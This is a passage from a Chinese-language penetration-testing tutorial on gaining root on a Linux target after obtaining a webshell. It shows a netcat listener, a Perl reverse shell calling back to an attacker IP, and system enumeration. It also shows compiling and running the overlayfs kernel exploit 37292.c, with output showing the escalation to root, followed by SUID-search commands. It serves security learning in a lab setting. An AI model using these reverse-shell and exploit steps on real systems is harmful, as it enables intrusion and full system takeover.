郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
通常我们在获取到一个 Webshell 的时候,一般权限都是 WEB 容器权限且权限较低(如在 IIS 就是 IIS 用户组权限,在 Apache 就是 Apache 权限)。如果想进行内网渗透就必须将权限提权到最高,如系统权限或超级管理员权限。
获得一台靶机的 Webshell 后门。
为了防止会话被靶机的防火墙阻断,使用反弹 Shell。
diegocr/netcat: NetCat for Windows (github.com)
nc -vlp 1234
perl-reverse-shell.pl 文件下载地址
my $ip = '192.168.100.1';
my $port = 1234;
# 端口默认为 1234,可自定义,需要注意本地 NC 监听的端口也需要修改。
# pwd
/tmp
# ls
perl-reverse-shell.pl
chmod +x perl-reverse-shell.pl
./perl-reverse-shell.pl
# cat /etc/issue
Ubuntu 15.04 \n \l
# cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=15.04
DISTRIB_CODENAME=vivid
DISTRIB_DESCRIPTION="Ubuntu 15.04"
NAME="Ubuntu"
VERSION="15.04 (Vivid Vervet)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 15.04"
VERSION_ID="15.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
# uname -a
Linux moonteam-virtual-machine 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 15.04
Release: 15.04
Codename: vivid
使用 www.exploit-db.com
网站进行查找,如:查找:3.19.0 对应的提权 EXP 为 37292.c:
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation - Linux local Exploit (exploit-db.com)
在本地编译或在靶机上编译 EXP 文件:
# ls
37292.c
# gcc -o exp 37292.c
# ls
37292.c
exp
运行 EXP 提权
#提权之前
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
#提权
$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#提权之后
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
以 bash shell 交互命令。
前提:
python -c "import pty; pty.spawn('/bin/bash')"
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的 UID 和 GID。
SUID 可以让调用者以文件拥有者的身份运行该文件,因此利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
命令解析:
/ 表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u=s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
>